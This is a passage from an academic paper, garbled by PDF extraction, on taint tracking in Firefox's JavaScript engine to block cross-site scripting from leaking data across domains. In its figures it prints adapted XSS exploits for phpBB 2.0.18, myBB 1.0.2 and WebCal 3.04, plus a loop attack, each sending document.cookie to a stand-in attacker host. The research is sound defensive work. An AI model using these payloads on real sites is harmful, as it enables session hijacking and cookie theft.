the host from whic h the do cumen t is loaded and the host to whic h sensitiv e data is sen t are on t w o

di�eren t domains. The transfer of sensitiv e information b et w een t w o di�eren t domains is alw a ys

suspicious. Therefore, the user can decide if the transfer should b e allo w ed or denied. T o this end,

the domain of the w eb page that con tains the Ja v aScript program and the domain of the target

host is determined. The de�nition of a domain is implemen ted as b eing the last t w o parts of the

host (e.g., for http://www.googl e. com it is google.com ). This de�nition of a domain will fail for

www.goodserver.c o. at as the host with the w eb application and www.badserver.co. at as the

site where the attac k er sends sensitiv e information to. The reason for this is that the algorithm

will extract the domain for b oth hosts as co.at . If the host is de�ned b y an IPv4 address, the

complete address is treated as a domain. The problem of transferring sensitiv e data to another

part of the same domain where the attac k er can gather the information is not co v ered b y our

solution.

T w o examples of transfer metho ds are implemen ted b y our solution (see Figures 1, 13). GET

requests [4 ] for an image (i.e., document.images [0 ].s rc = document.cookie; ) or POST re-

quests [4 ] to submit a form are c hec k ed for tain ted data. Because the transfer of tain ted data

across domain b orders is suspicious, the user can decide if the transfer should b e allo w ed or de-

nied. A dditionally the user can decide to p ermanen tly allo w or den y all transfers b et w een the t w o

domains. The p ersisten tly stored p olicy can either b e �Alw a ys Y es� (to allo w) or �Alw a ys No�
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Figure 14: Data transfer question

1: document.images [0] .s rc = "http://evilserv er/ va l?t es ts tar t" ;

2: var untainted = 1; // tainted == true;

3: do { tainted = !tainted; --untainted;

4: } while (tainted == false);

5: document.images [0] .s rc = "http://evilserv er/ va l?" + untainted;

6:

7: var untainted2 = 1; // tainted == false;

8: do { tainted = !tainted; --untainted2;

9: } while (tainted == false);

10: document.images [0] .s rc = "http://evilserv er/ va l2? " + untainted2;

Figure 15: do-while lo op attac k

(to den y). If suc h a p olicy exists, it is used to decide if the transfer is allo w ed or not. If there

is no suc h p olicy and the request con tains tain ted data, the bro wser asks the user if he w an ts to

allo w, den y , alw a ys allo w or alw a ys den y the transfer (see Figure 14). The �rst t w o answ ers are

not stored p ermanen tly , so the user can decide for eac h transfer of tain ted data from one domain

to another domain. The other t w o store the decision for the t w o participating domains in a p olicy

�le in the pro�le of the user. Prev en ting the transfer of all - tain ted and un tain ted - data with

a p ermanen t p olicy is used to stop a t yp e of an attac k, in v olving the do-while lo op as seen in

Figure 15. The �rst part of the example from Line 2-5 assumes that the tain ted v ariable has the

initial v alue �true�. The lo op is rep eated t wice b ecause the condition on Line 4 is true for the �rst

time it is c hec k ed. So the un tain ted v ariable gets tain ted the second time the lo op is executed and

the request on Line 5 is blo c k ed. The second part of the example from Line 7-10 assumes that

the tain ted v ariable has the initial v alue of �false�. No w the lo op is not executed t wice b ecause the

condition on Line 9 is false and the untainted2 v ariable is not tain ted. The request on Line 10 is

not blo c k ed. So the attac k er can deduce that the tain ted v ariable is �true� if there is no request

and that it is �false� if there is a request.
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<B C=">" onmouseover="do cum en t. ima ge s[ 0]. sr c= 'ht tp :// ba ds erv er /c ook ie s? ' +

document.cookie " X="<B "> H A L O </B>

Figure 16: phpBB 2.0.18 mo di�ed exploit

http://goodserv er /m ybb /s ear ch .p hp? s= de 1aa f9 b& act io n=d o_ se arc h&

keywords=%3Cimg %0 9s rc= ht tp: // ba dse rv er /%3 E% 3C scr ip t%3 E% 0d //

document%2e%0dd oc um ent %2 eim ag es %5b 0% 5d %2e sr c% 2b% 3d doc um en t.c oo ki e;

%3C/script%3E&s rc ht ype =3

Figure 17: m yBB 1.0.2 exploit

6 Ev aluation

Di�eren t categories of tests w ere conducted to ensure that the solution op erates as exp ected.

W orking exploits for vulnerable applications w ere tested. They demonstrate that the solution

detects transfers of sensitiv e information.

F or the bulletin b oard system phpBB [26 ] v ersion 2.0.18 an exploit [3] w as released. The

exploit has b een adapted to use an implemen ted transfer metho d as seen in Figure 16. The

mo di�ed exploit is p osted as a message to the b oard. When the message is accessed with the

mo di�ed bro wser, the w eb bro wser determines that a transfer of tain ted data is attempted and

asks the user if this should b e allo w ed. If the transfer is denied, no request is sen t to the host of

the attac k er, and the cross site scripting attac k is successfully stopp ed.

Another exploit [1] for m yBB [16] w as tested. The exploit w as adapted to use an implemen ted

transfer metho d, as seen in Figure 17. This exploit uses re�ection. That is, if the user clic ks on

a link prepared b y the exploit (e.g., in an email sen t to the user), the searc h page on the a�ected

w eb application is requested. Because the searc h request is malformed, an error page is displa y ed

and the searc h request is included in the output. The bro wser executes the malicious script in the

page. In the mo di�ed bro wser, the transfer of the co okie is correctly detected and can b e stopp ed

b y the user.

The third exploit [5 ] a�ects the w eb calendar W ebCal 3.04 [23 ]. The adapted exploit is sho wn

in Figure 18. The URL m ust b e en tered in to the w eb bro wser's address bar. Once again this can

b e ac hiev ed b y tric king a victim in to clic king on a mo di�ed link that is sen t b y mail. The mo di�ed

w eb bro wser prop erly asks whether the transfer should b e allo w ed or not.

The mo di�ed bro wser is used b y the author for bro wsing on a daily basis. Real life usage sho ws

no negativ e impact with the exception of false p ositiv es. The false p ositiv es w arn correctly ab out a

request to transfer sensitiv e information across domain b orders, although this transfer is no result

of a real XSS attac k. The reason for this false alerts are the scripts from companies that pro vide

w ebsite statistics. These scripts gather information (URL, referrer, title, o wn co okie, etc.) ab out

the curren tly visited page and transfer it to a w eb application hosted on a di�eren t domain, where

it is pro cessed to generate statistics. These are no cross site scripting attac ks b y de�nition, as the

scripts are delib erately or at least with consen t of the w ebsite o wner inserted in the w eb page to

gather data. But the presen ted solution can not distinguish this from malicious b eha viour. A t

least with the �alw a ys y es� and �alw a ys no� options the user has a go o d to ol to only ha v e to decide

once for w ebsites in a domain. F or example, when visiting www.slashdot.or g the question to

http://goodserv er /w ebc al /we bc al .cg i? fu nct io n= %3C im g%2 0% 3C scr ip t% 3E

%20document%2ei ma ge s[0 ]% 2es rc %2 b%3 d% 27 htt p: // bad se rve r/ %2 7%2 b

document.cookie %3 C/ scr ip t%3 E% 22 &ca l= US +Ho li da ys

Figure 18: W ebCal 3.04 exploit
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allo w transfer of information to www.google-analy tic s. co m is ask ed only once if it is answ ered

with �alw a ys y es� or �alw a ys no�. This p ermanen t rule includes man y w eb pages with articles that

reside on di�eren t sub domains where the script is also presen t (lik e science.slashdo t. org or

books.slashdot.o rg ).

F or automatic testing of the bro wser mo di�cations, there are test pages for eac h Ja v aScript

instruction. Eac h test c hec ks handling of un tain ted data, tain ted data and the execution of the

instruction in a tain ted scop e. Eac h test attempts to transfer the result of the op eration, to

a third part y , using a GET request b y c hanging the source of an image. The test pages can b e

used to v erify the correct b eha viour of the tain ting mec hanism b y loading eac h page in the bro wser

(automated with the help of a script) and matc hing the results in the log �le with exp ected results.

F uture regression testing is p ossible with these automated tests. The basic Ja v aScript language

concept tests (function calls, lo ops etc.) to ensure the pro cessing of tain ted data as de�ned in

Section 3 are already co v ered with the instruction tests.

The instruction tests sho w that tain ted data is pro cessed as exp ected. Ho w ev er, note that some

tests do not only test a single instruction for whic h the test is written, but also other instructions

that are in v olv ed in the pro cessing. F or example, " var x = document.cookie && 5; " do es not

only test the and instruction with a tain ted parameter, but also the correct assignmen t of tain ted

v alues. In this case, the tests w ere also run man ually in a debugger to ensure that these instructions

tain t the result of the op eration according to the tain ted parameters or tain ted scop es. Also,

there are some instructions whic h do not pro cess tain ted data, for example, b ecause they tak e no

argumen ts (e.g., JSOP_NOP whic h is a �no op eration� instruction). These instructions are mark ed

as correct in the test as they cannot b e used to launder tain ted data. The exp ected results of tests

for instructions that are implemen ted b y the Ja v aScript engine (e.g., JSOP_DEFSHARP that de�nes

a reference for an arra y: var x = #1 = [2, #1#]; ), but are not allo w ed in Ja v aScript programs

in a w eb page are unde�ned and so the tests result in �passed� for eac h of them.

More automated tests ensure that tain ting sources as listed in T able 1 indeed return tain ted

data. The tests are passed with the exception of tests that access the history ob ject. The access

is denied b y the Securit y Manager and therefore the tests fail. The tests for the document.forms

and document.links ob jects also fail b ecause the tain ting is not implemen ted.

More complex tests w ere dev elop ed and man ually ev aluated to mak e sure that more complex

op erations with tain ted data cannot b e used to launder data. F or example, tests ensure that

function calls or eval (see Section 3.2.4) or storing tain ted data in the DOM tree can not b e used

to launder tain ted data (see Section 3.2.5). All tests informed the user that tain ted data is ab out

to b e transferred and can b e prev en ted b y the user.

The solution w as con tin ually tested in the dev eloping phase. Debugging metho ds in the

Ja v aScript engine allo w to tain t data for tracing and prin t the �o w of tain ted data while exe-

cuting the test program.

A summary of all these tests can b e found in T able 2.

7 Conclusion

The tests demonstrated that dynamic data tain ting in the Ja v aScript engine of Mozilla Firefo x is

a viable metho d to ensure that sensitiv e information cannot b e transferred b y cross site scripting

co de without the user's consen t. The usage of the mo di�ed bro wser in a real life en vironmen t

sho w ed no errors or p erformance impact compared to the unmo di�ed w eb bro wser.

The transfer metho d c hec ks implemen ted b y this solution are enough to sho w a w orking con-

cept. F uture w ork should fo cus on additional transfer metho ds lik e the XMLHttpRequest ob ject

[12 ].

The GUI that presen ts the information ab out transfer requests to the user could also b e

impro v ed. Information for the user what kind of data is transferred, ab out the participating

hosts or what consequences �allo w� or �den y� ha v e, could b e put in the dialog b o x. A domain

extraction function that returns correct results for www.goodserver.co .a t could impro v e the

solution further.
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Kind of test # of tests P assed tests Notes

Exploits 3 3 W orking exploits for vulnerable

w eb applications w ere tested.

Ja v aScript instructions tests 151 151 T ests with not bro wser

implemen ted op co des are

treated as passed.

Initially tain ted sources 65 60 F ailed tests include the history

ob ject (access is denied b y

Securit y Manager). The links

and forms sources are not

implemen ted and therefore,

coun ted as failed as w ell.

Complex tests 11 11 T ests w ere man ually ev aluated.

T able 2: T est results
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